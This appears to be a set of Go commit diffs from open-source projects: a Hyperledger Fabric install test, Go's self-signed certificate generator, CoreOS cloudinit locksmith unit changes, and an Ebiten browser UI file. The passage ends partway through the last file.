	if err := cmd.Execute(); err != nil {
		t.Fatal("error executing install command from package")
	}
}

// TestInstallFromBadPackage tests bad package failure
func TestInstallFromBadPackage(t *testing.T) {
	pdir := newTempDir()
	defer os.RemoveAll(pdir)

	ccpackfile := pdir + "/ccpack.file"
	err := ioutil.WriteFile(ccpackfile, []byte("really bad CC package"), 0700)
	if err != nil {
		t.Fatalf("could not create package :%v", err)
	}

	fsPath := "/tmp/installtest"

	cmd, mockCF := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	//this should not reach the endorser which will respond with success
	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClient := common.GetMockEndorserClient(mockResponse, nil)
	mockCF.EndorserClients = []pb.EndorserClient{mockEndorserClient}

	args := []string{ccpackfile}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err == nil {
		t.Fatal("expected error installing bad package")
	}
}
func installEx02(t *testing.T) error {
	defer viper.Reset()
	viper.Set("chaincode.mode", "dev")

	fsPath := "/tmp/installtest"
	cmd, mockCF := initInstallTest(fsPath, t)
	defer cleanupInstallTest(fsPath)

	mockResponse := &pb.ProposalResponse{
		Response:    &pb.Response{Status: 200},
		Endorsement: &pb.Endorsement{},
	}
	mockEndorserClient := common.GetMockEndorserClient(mockResponse, nil)
	mockCF.EndorserClients = []pb.EndorserClient{mockEndorserClient}

	args := []string{"-n", "example02", "-p", "github.com/hyperledger/fabric/examples/chaincode/go/example02/cmd", "-v", "anotherversion"}
	cmd.SetArgs(args)

	if err := cmd.Execute(); err != nil {
		return fmt.Errorf("Run chaincode upgrade cmd error:%v", err)
	}

	return nil
}

func TestInstall(t *testing.T) {
	InitMSP()
	if err := installEx02(t); err != nil {
		t.Fatalf("Install failed with error: %v", err)
	}
}
<|endoftext|>


<commit_before>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Generate a self-signed X.509 certificate for a TLS server. Outputs to
// 'cert.pem' and 'key.pem' and will overwrite existing files.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"flag"
	"log"
	"math/big"
	"os"
	"time"
)

var hostName *string = flag.String("host", "127.0.0.1", "Hostname to generate a certificate for")

func main() {
	flag.Parse()

	priv, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		log.Fatalf("failed to generate private key: %s", err)
		return
	}

	now := time.Seconds()

	template := x509.Certificate{
		SerialNumber: new(big.Int).SetInt64(0),
		Subject: pkix.Name{
			CommonName:   *hostName,
			Organization: []string{"Acme Co"},
		},
		NotBefore: time.SecondsToUTC(now - 300),
		NotAfter:  time.SecondsToUTC(now + 60*60*24*365), // valid for 1 year.

		SubjectKeyId: []byte{1, 2, 3, 4},
		KeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
	}

	derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
	if err != nil {
		log.Fatalf("Failed to create certificate: %s", err)
		return
	}

	certOut, err := os.Create("cert.pem")
	if err != nil {
		log.Fatalf("failed to open cert.pem for writing: %s", err)
		return
	}
	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
	certOut.Close()
	log.Print("written cert.pem\n")

	keyOut, err := os.OpenFile("key.pem", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
	if err != nil {
		log.Print("failed to open key.pem for writing:", err)
		return
	}
	pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
	keyOut.Close()
	log.Print("written key.pem\n")
}
<commit_msg>crypto/tls: update generate_cert.go for new time package<commit_after>// Copyright 2009 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.

// Generate a self-signed X.509 certificate for a TLS server. Outputs to
// 'cert.pem' and 'key.pem' and will overwrite existing files.

package main

import (
	"crypto/rand"
	"crypto/rsa"
	"crypto/x509"
	"crypto/x509/pkix"
	"encoding/pem"
	"flag"
	"log"
	"math/big"
	"os"
	"time"
)

var hostName *string = flag.String("host", "127.0.0.1", "Hostname to generate a certificate for")

func main() {
	flag.Parse()

	priv, err := rsa.GenerateKey(rand.Reader, 1024)
	if err != nil {
		log.Fatalf("failed to generate private key: %s", err)
		return
	}

	now := time.Now()

	template := x509.Certificate{
		SerialNumber: new(big.Int).SetInt64(0),
		Subject: pkix.Name{
			CommonName:   *hostName,
			Organization: []string{"Acme Co"},
		},
		NotBefore: now.Add(-5 * time.Minute).UTC(),
		NotAfter:  now.AddDate(1, 0, 0).UTC(), // valid for 1 year.

		SubjectKeyId: []byte{1, 2, 3, 4},
		KeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
	}

	derBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv)
	if err != nil {
		log.Fatalf("Failed to create certificate: %s", err)
		return
	}

	certOut, err := os.Create("cert.pem")
	if err != nil {
		log.Fatalf("failed to open cert.pem for writing: %s", err)
		return
	}
	pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes})
	certOut.Close()
	log.Print("written cert.pem\n")

	keyOut, err := os.OpenFile("key.pem", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0600)
	if err != nil {
		log.Print("failed to open key.pem for writing:", err)
		return
	}
	pem.Encode(keyOut, &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
	keyOut.Close()
	log.Print("written key.pem\n")
}
<|endoftext|>


<commit_before>package initialize

import (
	"bufio"
	"errors"
	"fmt"
	"os"
	"path"
	"strings"

	"github.com/coreos/coreos-cloudinit/system"
)

const (
	locksmithUnit = "locksmithd.service"
)

// updateOption represents a configurable update option, which, if set, will be
// written into update.conf, replacing any existing value for the option
type updateOption struct {
	key    string   // key used to configure this option in cloud-config
	valid  []string // valid values for the option
	prefix string   // prefix for the option in the update.conf file
	value  string   // used to store the new value in update.conf (including prefix)
	seen   bool     // whether the option has been seen in any existing update.conf
}

// updateOptions defines the update options understood by cloud-config.
// The keys represent the string used in cloud-config to configure the option.
var updateOptions = []*updateOption{
	&updateOption{
		key:    "reboot-strategy",
		prefix: "REBOOT_STRATEGY=",
		valid:  []string{"best-effort", "etcd-lock", "reboot", "off"},
	},
	&updateOption{
		key:    "group",
		prefix: "GROUP=",
		valid:  []string{"master", "beta", "alpha", "stable"},
	},
	&updateOption{
		key:    "server",
		prefix: "SERVER=",
	},
}

// isValid checks whether a supplied value is valid for this option
func (uo updateOption) isValid(val string) bool {
	if len(uo.valid) == 0 {
		return true
	}
	for _, v := range uo.valid {
		if val == v {
			return true
		}
	}
	return false
}

type UpdateConfig map[string]string

// File generates an `/etc/coreos/update.conf` file (if any update
// configuration options are set in cloud-config) by either rewriting the
// existing file on disk, or starting from `/usr/share/coreos/update.conf`
func (uc UpdateConfig) File(root string) (*system.File, error) {
	if len(uc) < 1 {
		return nil, nil
	}

	var out string

	// Generate the list of possible substitutions to be performed based on the options that are configured
	subs := make([]*updateOption, 0)
	for _, uo := range updateOptions {
		val, ok := uc[uo.key]
		if !ok {
			continue
		}
		if !uo.isValid(val) {
			return nil, errors.New(fmt.Sprintf("invalid value %v for option %v (valid options: %v)", val, uo.key, uo.valid))
		}
		uo.value = uo.prefix + val
		subs = append(subs, uo)
	}

	etcUpdate := path.Join(root, "etc", "coreos", "update.conf")
	usrUpdate := path.Join(root, "usr", "share", "coreos", "update.conf")

	conf, err := os.Open(etcUpdate)
	if os.IsNotExist(err) {
		conf, err = os.Open(usrUpdate)
	}
	if err != nil {
		return nil, err
	}

	scanner := bufio.NewScanner(conf)

	for scanner.Scan() {
		line := scanner.Text()
		for _, s := range subs {
			if strings.HasPrefix(line, s.prefix) {
				line = s.value
				s.seen = true
				break
			}
		}
		out += line
		out += "\n"
		if err := scanner.Err(); err != nil {
			return nil, err
		}
	}

	for _, s := range subs {
		if !s.seen {
			out += s.value
			out += "\n"
		}
	}

	return &system.File{
		Path:               path.Join("etc", "coreos", "update.conf"),
		RawFilePermissions: "0644",
		Content:            out,
	}, nil
}

// Units generates units for the cloud-init initializer to act on:
// - a locksmith system.Unit, if "reboot-strategy" was set in cloud-config
// - an update_engine system.Unit, if "group" was set in cloud-config
func (uc UpdateConfig) Units(root string) ([]system.Unit, error) {
	var units []system.Unit
	if strategy, ok := uc["reboot-strategy"]; ok {
		ls := &system.Unit{
			Name:    locksmithUnit,
			Command: "restart",
			Mask:    false,
		}

		if strategy == "off" {
			ls.Command = "stop"
			ls.Mask = true
		}
		units = append(units, *ls)
	}

	rue := false
	if _, ok := uc["group"]; ok {
		rue = true
	}
	if _, ok := uc["server"]; ok {
		rue = true
	}
	if rue {
		ue := system.Unit{
			Name:    "update-engine",
			Command: "restart",
		}
		units = append(units, ue)
	}

	return units, nil
}
<commit_msg>fix(locksmith): use a runtime unit for locksmith<commit_after>package initialize

import (
	"bufio"
	"errors"
	"fmt"
	"os"
	"path"
	"strings"

	"github.com/coreos/coreos-cloudinit/system"
)

const (
	locksmithUnit = "locksmithd.service"
)

// updateOption represents a configurable update option, which, if set, will be
// written into update.conf, replacing any existing value for the option
type updateOption struct {
	key    string   // key used to configure this option in cloud-config
	valid  []string // valid values for the option
	prefix string   // prefix for the option in the update.conf file
	value  string   // used to store the new value in update.conf (including prefix)
	seen   bool     // whether the option has been seen in any existing update.conf
}

// updateOptions defines the update options understood by cloud-config.
// The keys represent the string used in cloud-config to configure the option.
var updateOptions = []*updateOption{
	&updateOption{
		key:    "reboot-strategy",
		prefix: "REBOOT_STRATEGY=",
		valid:  []string{"best-effort", "etcd-lock", "reboot", "off"},
	},
	&updateOption{
		key:    "group",
		prefix: "GROUP=",
		valid:  []string{"master", "beta", "alpha", "stable"},
	},
	&updateOption{
		key:    "server",
		prefix: "SERVER=",
	},
}

// isValid checks whether a supplied value is valid for this option
func (uo updateOption) isValid(val string) bool {
	if len(uo.valid) == 0 {
		return true
	}
	for _, v := range uo.valid {
		if val == v {
			return true
		}
	}
	return false
}

type UpdateConfig map[string]string

// File generates an `/etc/coreos/update.conf` file (if any update
// configuration options are set in cloud-config) by either rewriting the
// existing file on disk, or starting from `/usr/share/coreos/update.conf`
func (uc UpdateConfig) File(root string) (*system.File, error) {
	if len(uc) < 1 {
		return nil, nil
	}

	var out string

	// Generate the list of possible substitutions to be performed based on the options that are configured
	subs := make([]*updateOption, 0)
	for _, uo := range updateOptions {
		val, ok := uc[uo.key]
		if !ok {
			continue
		}
		if !uo.isValid(val) {
			return nil, errors.New(fmt.Sprintf("invalid value %v for option %v (valid options: %v)", val, uo.key, uo.valid))
		}
		uo.value = uo.prefix + val
		subs = append(subs, uo)
	}

	etcUpdate := path.Join(root, "etc", "coreos", "update.conf")
	usrUpdate := path.Join(root, "usr", "share", "coreos", "update.conf")

	conf, err := os.Open(etcUpdate)
	if os.IsNotExist(err) {
		conf, err = os.Open(usrUpdate)
	}
	if err != nil {
		return nil, err
	}

	scanner := bufio.NewScanner(conf)

	for scanner.Scan() {
		line := scanner.Text()
		for _, s := range subs {
			if strings.HasPrefix(line, s.prefix) {
				line = s.value
				s.seen = true
				break
			}
		}
		out += line
		out += "\n"
		if err := scanner.Err(); err != nil {
			return nil, err
		}
	}

	for _, s := range subs {
		if !s.seen {
			out += s.value
			out += "\n"
		}
	}

	return &system.File{
		Path:               path.Join("etc", "coreos", "update.conf"),
		RawFilePermissions: "0644",
		Content:            out,
	}, nil
}

// Units generates units for the cloud-init initializer to act on:
// - a locksmith system.Unit, if "reboot-strategy" was set in cloud-config
// - an update_engine system.Unit, if "group" was set in cloud-config
func (uc UpdateConfig) Units(root string) ([]system.Unit, error) {
	var units []system.Unit
	if strategy, ok := uc["reboot-strategy"]; ok {
		ls := &system.Unit{
			Name:    locksmithUnit,
			Command: "restart",
			Mask:    false,
			Runtime: true,
		}

		if strategy == "off" {
			ls.Command = "stop"
			ls.Mask = true
		}
		units = append(units, *ls)
	}

	rue := false
	if _, ok := uc["group"]; ok {
		rue = true
	}
	if _, ok := uc["server"]; ok {
		rue = true
	}
	if rue {
		ue := system.Unit{
			Name:    "update-engine",
			Command: "restart",
		}
		units = append(units, ue)
	}

	return units, nil
}
<|endoftext|>


<commit_before>package initialize

import (
	"bufio"
	"errors"
	"fmt"
	"os"
	"path"
	"strings"

	"github.com/coreos/coreos-cloudinit/system"
)

const (
	locksmithUnit = "locksmithd.service"
)

// updateOption represents a configurable update option, which, if set, will be
// written into update.conf, replacing any existing value for the option
type updateOption struct {
	key    string   // key used to configure this option in cloud-config
	valid  []string // valid values for the option
	prefix string   // prefix for the option in the update.conf file
	value  string   // used to store the new value in update.conf (including prefix)
	seen   bool     // whether the option has been seen in any existing update.conf
}

// updateOptions defines the update options understood by cloud-config.
// The keys represent the string used in cloud-config to configure the option.
var updateOptions = []*updateOption{
	&updateOption{
		key:    "reboot-strategy",
		prefix: "REBOOT_STRATEGY=",
		valid:  []string{"best-effort", "etcd-lock", "reboot", "off"},
	},
	&updateOption{
		key:    "group",
		prefix: "GROUP=",
		valid:  []string{"master", "beta", "alpha", "stable"},
	},
	&updateOption{
		key:    "server",
		prefix: "SERVER=",
	},
}

// isValid checks whether a supplied value is valid for this option
func (uo updateOption) isValid(val string) bool {
	if len(uo.valid) == 0 {
		return true
	}
	for _, v := range uo.valid {
		if val == v {
			return true
		}
	}
	return false
}

type UpdateConfig map[string]string

// File generates an `/etc/coreos/update.conf` file (if any update
// configuration options are set in cloud-config) by either rewriting the
// existing file on disk, or starting from `/usr/share/coreos/update.conf`
func (uc UpdateConfig) File(root string) (*system.File, error) {
	if len(uc) < 1 {
		return nil, nil
	}

	var out string

	// Generate the list of possible substitutions to be performed based on the options that are configured
	subs := make([]*updateOption, 0)
	for _, uo := range updateOptions {
		val, ok := uc[uo.key]
		if !ok {
			continue
		}
		if !uo.isValid(val) {
			return nil, errors.New(fmt.Sprintf("invalid value %v for option %v (valid options: %v)", val, uo.key, uo.valid))
		}
		uo.value = uo.prefix + val
		subs = append(subs, uo)
	}

	etcUpdate := path.Join(root, "etc", "coreos", "update.conf")
	usrUpdate := path.Join(root, "usr", "share", "coreos", "update.conf")

	conf, err := os.Open(etcUpdate)
	if os.IsNotExist(err) {
		conf, err = os.Open(usrUpdate)
	}
	if err != nil {
		return nil, err
	}

	scanner := bufio.NewScanner(conf)

	for scanner.Scan() {
		line := scanner.Text()
		for _, s := range subs {
			if strings.HasPrefix(line, s.prefix) {
				line = s.value
				s.seen = true
				break
			}
		}
		out += line
		out += "\n"
		if err := scanner.Err(); err != nil {
			return nil, err
		}
	}

	for _, s := range subs {
		if !s.seen {
			out += s.value
			out += "\n"
		}
	}

	return &system.File{
		Path:               path.Join("etc", "coreos", "update.conf"),
		RawFilePermissions: "0644",
		Content:            out,
	}, nil
}

// GetUnit generates a locksmith system.Unit, if reboot-strategy was set in
// cloud-config, for the cloud-init initializer to act on appropriately
func (uc UpdateConfig) Unit(root string) (*system.Unit, error) {
	strategy, ok := uc["reboot-strategy"]
	if !ok {
		return nil, nil
	}

	u := &system.Unit{
		Name:    locksmithUnit,
		Enable:  true,
		Command: "restart",
		Mask:    false,
	}

	if strategy == "off" {
		u.Enable = false
		u.Command = "stop"
		u.Mask = true
	}

	return u, nil
}
<commit_msg>fix(update): locksmith service does not need disabling/enabling<commit_after>package initialize

import (
	"bufio"
	"errors"
	"fmt"
	"os"
	"path"
	"strings"

	"github.com/coreos/coreos-cloudinit/system"
)

const (
	locksmithUnit = "locksmithd.service"
)

// updateOption represents a configurable update option, which, if set, will be
// written into update.conf, replacing any existing value for the option
type updateOption struct {
	key    string   // key used to configure this option in cloud-config
	valid  []string // valid values for the option
	prefix string   // prefix for the option in the update.conf file
	value  string   // used to store the new value in update.conf (including prefix)
	seen   bool     // whether the option has been seen in any existing update.conf
}

// updateOptions defines the update options understood by cloud-config.
// The keys represent the string used in cloud-config to configure the option.
var updateOptions = []*updateOption{
	&updateOption{
		key:    "reboot-strategy",
		prefix: "REBOOT_STRATEGY=",
		valid:  []string{"best-effort", "etcd-lock", "reboot", "off"},
	},
	&updateOption{
		key:    "group",
		prefix: "GROUP=",
		valid:  []string{"master", "beta", "alpha", "stable"},
	},
	&updateOption{
		key:    "server",
		prefix: "SERVER=",
	},
}

// isValid checks whether a supplied value is valid for this option
func (uo updateOption) isValid(val string) bool {
	if len(uo.valid) == 0 {
		return true
	}
	for _, v := range uo.valid {
		if val == v {
			return true
		}
	}
	return false
}

type UpdateConfig map[string]string

// File generates an `/etc/coreos/update.conf` file (if any update
// configuration options are set in cloud-config) by either rewriting the
// existing file on disk, or starting from `/usr/share/coreos/update.conf`
func (uc UpdateConfig) File(root string) (*system.File, error) {
	if len(uc) < 1 {
		return nil, nil
	}

	var out string

	// Generate the list of possible substitutions to be performed based on the options that are configured
	subs := make([]*updateOption, 0)
	for _, uo := range updateOptions {
		val, ok := uc[uo.key]
		if !ok {
			continue
		}
		if !uo.isValid(val) {
			return nil, errors.New(fmt.Sprintf("invalid value %v for option %v (valid options: %v)", val, uo.key, uo.valid))
		}
		uo.value = uo.prefix + val
		subs = append(subs, uo)
	}

	etcUpdate := path.Join(root, "etc", "coreos", "update.conf")
	usrUpdate := path.Join(root, "usr", "share", "coreos", "update.conf")

	conf, err := os.Open(etcUpdate)
	if os.IsNotExist(err) {
		conf, err = os.Open(usrUpdate)
	}
	if err != nil {
		return nil, err
	}

	scanner := bufio.NewScanner(conf)

	for scanner.Scan() {
		line := scanner.Text()
		for _, s := range subs {
			if strings.HasPrefix(line, s.prefix) {
				line = s.value
				s.seen = true
				break
			}
		}
		out += line
		out += "\n"
		if err := scanner.Err(); err != nil {
			return nil, err
		}
	}

	for _, s := range subs {
		if !s.seen {
			out += s.value
			out += "\n"
		}
	}

	return &system.File{
		Path:               path.Join("etc", "coreos", "update.conf"),
		RawFilePermissions: "0644",
		Content:            out,
	}, nil
}

// GetUnit generates a locksmith system.Unit, if reboot-strategy was set in
// cloud-config, for the cloud-init initializer to act on appropriately
func (uc UpdateConfig) Unit(root string) (*system.Unit, error) {
	strategy, ok := uc["reboot-strategy"]
	if !ok {
		return nil, nil
	}

	u := &system.Unit{
		Name:    locksmithUnit,
		Command: "restart",
		Mask:    false,
	}

	if strategy == "off" {
		u.Command = "stop"
		u.Mask = true
	}

	return u, nil
}
<|endoftext|>


<commit_before>// Copyright 2015 Hajime Hoshi
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// +build js

package ui

import (
	"strconv"
	"strings"

	"github.com/gopherjs/gopherjs/js"
	"github.com/hajimehoshi/ebiten/internal/opengl"
)

var canvas *js.Object

type userInterface struct {
	scale       float64
	deviceScale float64
	sizeChanged bool
	windowFocus bool
}

var currentUI = &userInterface{
	sizeChanged: true,
	windowFocus: true,
}

// NOTE: This returns true even when the browser is not active.
func shown() bool {
	return !js.Global.Get("document").Get("hidden").Bool()
}

func SetScreenSize(width, height int) (bool, error) {
	return currentUI.setScreenSize(width, height, currentUI.scale), nil
}

func SetScreenScale(scale float64) (bool, error) {
	width, height := currentUI.size()
	return currentUI.setScreenSize(width, height, scale), nil
}

func ScreenScale() float64 {
	return currentUI.scale
}

func SetCursorVisibility(visibility bool) {
	if visibility {
		canvas.Get("style").Set("cursor", "auto")
	} else {
		canvas.Get("style").Set("cursor", "none")
	}
}

func (u *userInterface) actualScreenScale() float64 {
	return u.scale * u.deviceScale
}

func (u *userInterface) update(g GraphicsContext) error {
	if !u.windowFocus {
		return nil
	}
	if glContext.IsContextLost() {
		glContext.RestoreContext()
	}
	currentInput.updateGamepads()
	if u.sizeChanged {
		u.sizeChanged = false
		w, h := u.size()
		if err := g.SetSize(w, h, u.actualScreenScale()); err != nil {
			return err
		}
		return nil
	}
	if err := g.Update(); err != nil {
		return err
	}
	return nil
}

func (u *userInterface) loop(g GraphicsContext) error {
	ch := make(chan error)
	var f func()
	f = func() {
		go func() {
			if err := u.update(g); err != nil {
				ch <- err
				close(ch)
				return
			}
			js.Global.Get("window").Call("requestAnimationFrame", f)
		}()
	}
	f()
	return <-ch
}

func touchEventToTouches(e *js.Object) []touch {
	scale := currentUI.scale
	j := e.Get("targetTouches")
	rect := canvas.Call("getBoundingClientRect")
	left, top := rect.Get("left").Int(), rect.Get("top").Int()
	t := make([]touch, j.Get("length").Int())
	for i := 0; i < len(t); i++ {
		jj := j.Call("item", i)
		t[i].id = jj.Get("identifier").Int()
		t[i].x = int(float64(jj.Get("clientX").Int()-left) / scale)
		t[i].y = int(float64(jj.Get("clientY").Int()-top) / scale)
	}
	return t
}

func init() {
	if err := initialize(); err != nil {
		panic(err)
	}
}

func initialize() error {
	// Do nothing in node.js.
	if js.Global.Get("require") != js.Undefined {
		return nil
	}

	doc := js.Global.Get("document")
	window := js.Global.Get("window")
	if doc.Get("body") == nil {
		ch := make(chan struct{})
		window.Call("addEventListener", "load", func() {
			close(ch)
		})
		<-ch
	}
	window.Call("addEventListener", "focus", func() {
		currentUI.windowFocus = true
	})
	window.Call("addEventListener", "blur", func() {
		currentUI.windowFocus = false
	})

	canvas = doc.Call("createElement", "canvas")
	canvas.Set("width", 16)
	canvas.Set("height", 16)
	doc.Get("body").Call("appendChild", canvas)

	htmlStyle := doc.Get("documentElement").Get("style")
	htmlStyle.Set("height", "100%")
	htmlStyle.Set("margin", "0")
	htmlStyle.Set("padding", "0")

	bodyStyle := doc.Get("body").Get("style")
	bodyStyle.Set("backgroundColor", "#000")
	bodyStyle.Set("position", "relative")
	bodyStyle.Set("height", "100%")
	bodyStyle.Set("margin", "0")
	bodyStyle.Set("padding", "0")
	// TODO: This is OK as long as the game is in an independent iframe.
	// What if the canvas is embedded in a HTML directly?
	doc.Get("body").Call("addEventListener", "click", func() {
		canvas.Call("focus")
	})

	canvasStyle := canvas.Get("style")
	canvasStyle.Set("position", "absolute")

	// Make the canvas focusable.
	canvas.Call("setAttribute", "tabindex", 1)
	canvas.Get("style").Set("outline", "none")

	// Keyboard
	canvas.Call("addEventListener", "keydown", func(e *js.Object) {
		e.Call("preventDefault")
		code := e.Get("keyCode").Int()
		currentInput.keyDown(code)
	})
	canvas.Call("addEventListener", "keyup", func(e *js.Object) {
		e.Call("preventDefault")
		code := e.Get("keyCode").Int()
		currentInput.keyUp(code)
	})

	// Mouse
	canvas.Call("addEventListener", "mousedown", func(e *js.Object) {
		e.Call("preventDefault")
		button := e.Get("button").Int()
		currentInput.mouseDown(button)
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "mouseup", func(e *js.Object) {
		e.Call("preventDefault")
		button := e.Get("button").Int()
		currentInput.mouseUp(button)
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "mousemove", func(e *js.Object) {
		e.Call("preventDefault")
		setMouseCursorFromEvent(e)
	})
	canvas.Call("addEventListener", "contextmenu", func(e *js.Object) {
		e.Call("preventDefault")
	})

	// Touch
	canvas.Call("addEventListener", "touchstart", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})
	canvas.Call("addEventListener", "touchend", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})
	canvas.Call("addEventListener", "touchmove", func(e *js.Object) {
		e.Call("preventDefault")
		currentInput.updateTouches(touchEventToTouches(e))
	})

	// Gamepad
	window.Call("addEventListener", "gamepadconnected", func(e *js.Object) {
		// Do nothing.
	})

	canvas.Call("addEventListener", "webglcontextlost", func(e *js.Object) {
		e.Call("preventDefault")
	})
	canvas.Call("addEventListener", "webglcontextrestored", func(e *js.Object) {
		// Do nothing.
	})

	return nil
}

func setMouseCursorFromEvent(e *js.Object) {
	scale := currentUI.scale
	rect := canvas.Call("getBoundingClientRect")
	x, y := e.Get("clientX").Int(), e.Get("clientY").Int()
	x -= rect.Get("left").Int()
	y -= rect.Get("top").Int()
	currentInput.setMouseCursor(int(float64(x)/scale), int(float64(y)/scale))
}

func devicePixelRatio() float64 {
	ratio := js.Global.Get("window").Get("devicePixelRatio").Float()
	if ratio == 0 {
		ratio = 1
	}
	return ratio
}

func RunMainThreadLoop(ch <-chan error) error {
	return <-ch
}

func Run(width, height int, scale float64, title string, g GraphicsContext) error {
	u := currentUI
	doc := js.Global.Get("document")
	doc.Set("title", title)
	u.setScreenSize(width, height, scale)
	canvas.Call("focus")
	var err error
	glContext, err = opengl.NewContext()
	if err != nil {
		return err
	}
	return u.loop(g)
}

func (u *userInterface) size() (width, height int) {
	a := u.actualScreenScale()
	if a == 0 {
		// a == 0 only on the initial state.
		return
	}
	width = int(canvas.Get("width").Float() / a)
	height = int(canvas.Get("height").Float() / a)
	return
}

func isSafari() bool {
	ua := js.Global.Get("navigator").Get("userAgent").String()
	if !strings.Contains(ua, "Safari") {
		return false
	}
	if strings.Contains(ua, "Chrome") {
		return false
	}
	return true
}

func (u *userInterface) setScreenSize(width, height int, scale float64) bool {
	w, h := u.size()
	s := u.scale
	if w == width && h == height && s == scale {
		return false
	}
	u.scale = scale
	// When the scale is an integer, let's rely on CSS crisp-edge/pixelated effect.
	// Note that pixelated effect doesn't work for canvas on Safari.
	if scale == float64(int64(scale)) && !isSafari() {
		u.deviceScale = 1
	} else {
		u.deviceScale = devicePixelRatio()
	}
	canvas.Set("width", int(float64(width)*u.actualScreenScale()))
	canvas.Set("height", int(float64(height)*u.actualScreenScale()))
	canvasStyle := canvas.Get("style")

	cssWidth := int(float64(width) * scale)
	cssHeight := int(float64(height) * scale)
	canvasStyle.Set("width", strconv.Itoa(cssWidth)+"px")
	canvasStyle.Set("height", strconv.Itoa(cssHeight)+"px")
	// CSS calc requires space chars.
	canvasStyle.Set("left", "calc((100% - "+strconv.Itoa(cssWidth)+"px) / 2)")
	canvasStyle.Set("top", "calc((100% - "+strconv.Itoa(cssHeight)+"px) / 2)")
	canvasStyle.Set("imageRendering", "-moz-crisp-edges")
	canvasStyle.Set("imageRendering", "pixelated")
	// TODO: Set `-ms-interpolation-mode: nearest-neighbor;` for IE.
	u.sizeChanged = true
	return true
}
<commit_msg>graphis: Bug fix: blurred screen after restoring the context (#306)<commit_after>// Copyright 2015 Hajime Hoshi
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//     http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

// +build js

package ui

import (
	"strconv"
	"strings"

	"github.com/gopherjs/gopherjs/js"
	"github.com/hajimehoshi/ebiten/internal/opengl"
)

var canvas *js.Object

type userInterface struct {
	scale       float64
	deviceScale float64
	sizeChanged bool
	windowFocus bool
}

var currentUI = &userInterface{
	sizeChanged: true,
	windowFocus: true,
}

// NOTE: This returns true even when the browser is not active.
func shown() bool {
	return !js.Global.Get("document").Get("hidden").Bool()
}

func SetScreenSize(width, height int) (bool, error) {
	return currentUI.setScreenSize(width, height, currentUI.scale), nil
}

func SetScreenScale(scale float64) (bool, error) {
	width, height := currentUI.size()
	return currentUI.setScreenSize(width, height, scale), nil
}

func ScreenScale() float64 {
	return currentUI.scale
}

func SetCursorVisibility(visibility bool) {
	if visibility {
		canvas.Get("style").Set("cursor", "auto")
	} else {
		canvas.Get("style").Set("cursor", "none")
	}
}

func (u *userInterface) actualScreenScale() float64 {
	return u.scale * u.deviceScale
}

func (u *userInterface) update(g GraphicsContext) error {
	if !u.windowFocus {
		return nil
	}
	if glContext.IsContextLost() {
		glContext.RestoreContext()
	}
	currentInput.updateGamepads()
	if u.sizeChanged {
		u.sizeChanged = false
		w, h := u.size()
		if err := g.SetSize(w, h, u.actualScreenScale()); err != nil {
			return err
		}
		return nil
	}
	if err := g.Update(); err != nil {
		return err
	}
	return nil
}

func (u *userInterface) loop(g GraphicsContext) error {
	ch := make(chan error)
	var f func()
	f = func() {
		go func() {
			if err := u.update(g); err != nil {
				ch <- err
				close(ch)
				return
			}
			js.Global.Get("window").Call("requestAnimationFrame", f)
		}()
	}
	f()
	return <-ch
}

func touchEventToTouches(e *js.Object) []touch {
	scale := currentUI.scale
	j := e.Get("targetTouches")
	rect := canvas.Call("getBoundingClientRect")
	left, top := rect.Get("left").Int(), rect.Get("top").Int()
	t := make([]touch, j.Get("length").Int())
	for i := 0; i < len(t); i++ {
		jj := j.Call("item", i)
		t[i].id = jj.Get("identifier").Int()
		t[i].x = int(float64(jj.Get("clientX").Int()-left) / scale)
		t[i].y = int(float64(jj.Get("clientY").Int()-top) / scale)
	}
	return t
}

func init() {
	if err := initialize(); err != nil {
		panic(err)
	}
}

func initialize() error {
	// Do nothing in node.js.
	if js.Global.Get("require") != js.Undefined {
		return nil
	}

	doc := js.Global.Get("document")
	window := js.Global.Get("window")
	if doc.Get("body") == nil {
		ch := make(chan struct{})
		window.Call("addEventListener", "load", func() {
			close(ch)
		})
		<-ch
	}
	window.Call("addEventListener", "focus", func() {
		currentUI.windowFocus = true
	})
	window.Call("addEventListener", "blur", func() {
		currentUI.windowFocus = false
	})

